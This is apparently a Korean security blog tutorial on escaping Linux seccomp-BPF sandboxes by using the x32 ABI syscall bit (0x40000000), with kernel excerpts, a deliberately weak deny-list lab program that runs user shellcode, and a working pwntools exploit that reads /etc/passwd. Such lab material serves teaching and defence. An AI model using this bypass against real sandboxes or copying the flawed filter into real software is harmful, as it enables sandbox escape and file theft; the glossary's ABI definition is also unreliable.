4. ABI
4.1 예제
#include <fcntl.h>
#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
#define DENY_SYSCALL(name) \
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)
#define MAINTAIN_PROCESS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW)
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
#define ARCH_NR AUDIT_ARCH_X86_64
int sandbox() {
struct sock_filter filter[] = {
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr),
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0),
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
DENY_SYSCALL(open),
DENY_SYSCALL(openat),
MAINTAIN_PROCESS,
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {
perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
return -1;
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
perror("Seccomp filter error\n");
return -1;
}
return 0;
}
int main(int argc, char* argv[]) {
char buf[256];
int fd;
memset(buf, 0, sizeof(buf));
sandbox();
fd = open("/bin/sh", O_RDONLY);
read(fd, buf, sizeof(buf) - 1);
write(1, buf, sizeof(buf));
return 0;
}
4.2 실행
![](https://velog.velcdn.com/images/securitykss/post/436b0fd1-c8f9-4a13-9341-bd98849d0af3/image.png)
4.3 분석
4.3.1 이전 장(bypass) 예제 코드
이전 장의 실습 코드 실행 결과
![](https://velog.velcdn.com/images/securitykss/post/bca14920-e112-412a-9ee1-724b06873dcf/image.png)
이전 장의 실습코드는 시스템 콜 번호가 0x40000000 보다 큰지 검사하는 코드는 존재하지 않았지만,
4.3.2 이번 장(secbpf) 예제 코드
이번 장의 실습 코드 실행 결과를 보자.
![](https://velog.velcdn.com/images/securitykss/post/436b0fd1-c8f9-4a13-9341-bd98849d0af3/image.png)
라이브러리 함수를 사용하지 않은 예제의 경우 해당 비교 구문이 없다.
이전 장과 이번 장의 실습 결과를 비교해보면,
SECCOMP 라이브러리 함수에서 시스템 콜 번호의 값을 비교하는 구문을 추가한다는 것을 알 수 있다.
이제, 이러한 비교 구문이 왜 추가되었는지 알아보고,
해당 비교가 없을 때 어떻게 우회하여 공격할 수 있는지 알아보자.
4.4 시스템 콜 호출 방식
x86-64와 x32, 두 개의 ABI는 같은 프로세서에서 동작한다.
x86-64에서는 32비트 명령어를 호환할 수 있다.
SECCOMP를 사용해 보면 아키텍처를 명시할 때 AUDIT_ARCH_X86_64라는 이름으로 정의된 매크로를 사용한다.
이는 리눅스 커널에서 x86-64와 x32를 동시에 일컫는 아키텍처 필드명이다.
그러나 두 개의 ABI는 명백히 다른 아키텍처이다.
리눅스 커널은 이들을 구별하기 위해 시스템 콜 번호에 특정 값을 사용하는데,
바로 0x40000000 이 값이다.
4.4.1 예제
__visible noinstr void do_syscall_64(struct pt_regs *regs, int nr) {
add_random_kstack_offset();
nr = syscall_enter_from_user_mode(regs, nr);
instrumentation_begin();
if (!do_syscall_x64(regs, nr) && !do_syscall_x32(regs, nr) && nr != -1) {
regs->ax = __x64_sys_ni_syscall(regs);
}
instrumentation_end();
syscall_exit_to_user_mode(regs);
}
리눅스 커널에서 시스템 콜을 호출하기 위한 do_syscall_x64 함수이다.
코드를 보면, 시스템 콜과 레지스터를 do_syscall_x64 전달해 호출하고,
이후에 do_syscall_x32를 호출한다.
이는 x86-64의 시스템 콜 호출에 실패하면 x32 ABI에서 다시 한번 호출을 시도하는 코드임을 알 수 있다.
이제 do_syscall_x64와 do_syscall_x32 함수를 자세히 보자
4.4.2 do_syscall_x64
static __always_inline bool do_syscall_x64(struct pt_regs *regs, int nr) {
unsigned int unr = nr;
if (likely(unr < NR_syscalls)) {
unr = array_index_nospec(unr, NR_syscalls);
regs->ax = sys_call_table[unr](regs);
return true;
}
return false;
}
x86-64에서 시스템 콜을 처리하는 do_syscall_x64 함수이다.
코드를 살펴보면, 호출하는 시스템 콜 번호가 시스템 콜 갯수를 초과하는지 비교하고
초과하지 않는다면 시스템 콜을 호출한다.
4.4.3 do_syscall_x32
static __always_inline bool do_syscall_x32(struct pt_regs *regs, int nr) {
unsigned int xnr = nr - __X32_SYSCALL_BIT;
if (IS_ENABLED(CONFIG_X86_X32_ABI) && likely(xnr < X32_NR_syscalls)) {
xnr = array_index_nospec(xnr, X32_NR_syscalls);
regs->ax = x32_sys_call_table[xnr](regs);
return true;
}
return false;
}
x32 명령어를 호환하는 do_syscall_x32 함수이다.
코드를 보면, 호출하는 시스템 콜 번호에서 __X32_SYSCALL_BIT 값을 뺀 시스템 콜 번호를 사용한다.
해당 매크로의 값은 0x40000000로 정의되어 있다.
5. ABI 실습
5.1 예제 코드
#include <fcntl.h>
#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
#define DENY_SYSCALL(name) \
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)
#define MAINTAIN_PROCESS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW)
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
#define ARCH_NR AUDIT_ARCH_X86_64
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int sandbox() {
struct sock_filter filter[] = {
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr),
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0),
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
DENY_SYSCALL(open),
DENY_SYSCALL(openat),
DENY_SYSCALL(read),
DENY_SYSCALL(write),
DENY_SYSCALL(vfork),
DENY_SYSCALL(fork),
DENY_SYSCALL(clone),
DENY_SYSCALL(execve),
DENY_SYSCALL(execveat),
MAINTAIN_PROCESS,
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {
perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
return -1;
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
perror("Seccomp filter error\n");
return -1;
}
return 0;
}
int main(int argc, char *argv[]) {
void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
memset(shellcode, 0, 0x1000);
printf("shellcode: ");
read(0, shellcode, 0x1000);
sandbox();
sc = (void *)shellcode;
sc();
}
코드 분석
위 코드는, 읽기, 쓰기, 실행 권한이 있는 페이지를 할당하고 이용자로부터 입력받은 값을 실행한다.
sandbox 함수를 보면, DENY 리스트 기반으로, DENY_SYSCALL 매크로의 인자로 전달되는 시스템 콜을 호출할 수 없다.
5.2 실행 결과
![](https://velog.velcdn.com/images/securitykss/post/5d74caa4-a97d-4e37-903f-24dbc48adb0c/image.png)
5.3 익스플로잇
5.3.1 시스템 콜 호출
사용할 수 있는 시스템 콜을 찾아야 한다.
정의된 규칙에 시스템 콜이 명시되어 있지 않더라도 특정 시스템 콜이 호출되면서 내부에서 사용하는 또 다른 시스템 콜을 호출하면서 프로그램이 종료될 수 있다.
예를 들어, 프로그램에서 openat을 거부하고 execve를 허용하더라도
execve는 openat 시스템 콜을 사용하기 때문에 프로그램이 종료된다.
따라서 시스템 콜의 의존성이 과할 경우 호출할 수 없는 가능성이 매우 크다.
open, read, write는 타 시스템 콜에 의존하지 않고 실행할 수 있다.
프로그램에서 해당 시스템 콜의 호출을 거부하지만
do_syscall_x32 함수에서 실행할 수 있으므로 해당 시스템 콜을 호출해 임의 파일을 읽어야한다.
5.3.2 익스플로잇
open, read, write 시스템 콜을 활용해 "/etc/passwd" 파일을 읽어 보자.
시스템 콜을 호출하는 방식은 비슷하지만, 시스템 콜 번호를 삽입할 때
"or rax, 0x40000000" 명령어가 존재해야한다.
이는 do_syscall_x32 함수, 즉, x32 모드로 시스템 콜을 호출하기 위한 것이다.
1. 익스 코드
from pwn import *
context.arch = 'x86_64'
p = process("./bypass_secbpf")
data = '''
mov rax, 2
or rax, 0x40000000
lea rdi, [rip+path]
xor rsi, rsi
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x1000
xor rax, rax
or rax, 0x40000000
syscall
mov rdi, 1
mov rsi, rsp
mov rax, 1
or rax, 0x40000000
syscall
path: .asciz "/etc/passwd"
'''
p.sendline(asm(data))
p.interactive()
2. 익스 결과
![](https://velog.velcdn.com/images/securitykss/post/de5ca7db-1224-47ac-99e6-63073a916b1b/image.png)
마치며
샌드박스(Sandbox): 외부의 공격으로부터 시스템을 보호하기 위해 설계된 기법
SECure COMPuting mode (SECCOMP): 리눅스 커널에서 프로그램의 샌드박싱 매커니즘을 제공하는 컴퓨터 보안 기능
Berkeley Packet Filter (BPF): BPF는 커널에서 지원하는 Virtual Machine (VM)으로, 본래에는 네트워크 패킷을 분석하고 필터링하는 목적으로 사용됨
Application Binary Interface (ABI): 애플리케이션과 운영 체제 간에서 사용하는 저수준 인터페이스로 프로그램의 메모리 사용량을 줄일 수 있을 뿐만 아니라 프로그램 실행 속도도 향상됩니다.
Reference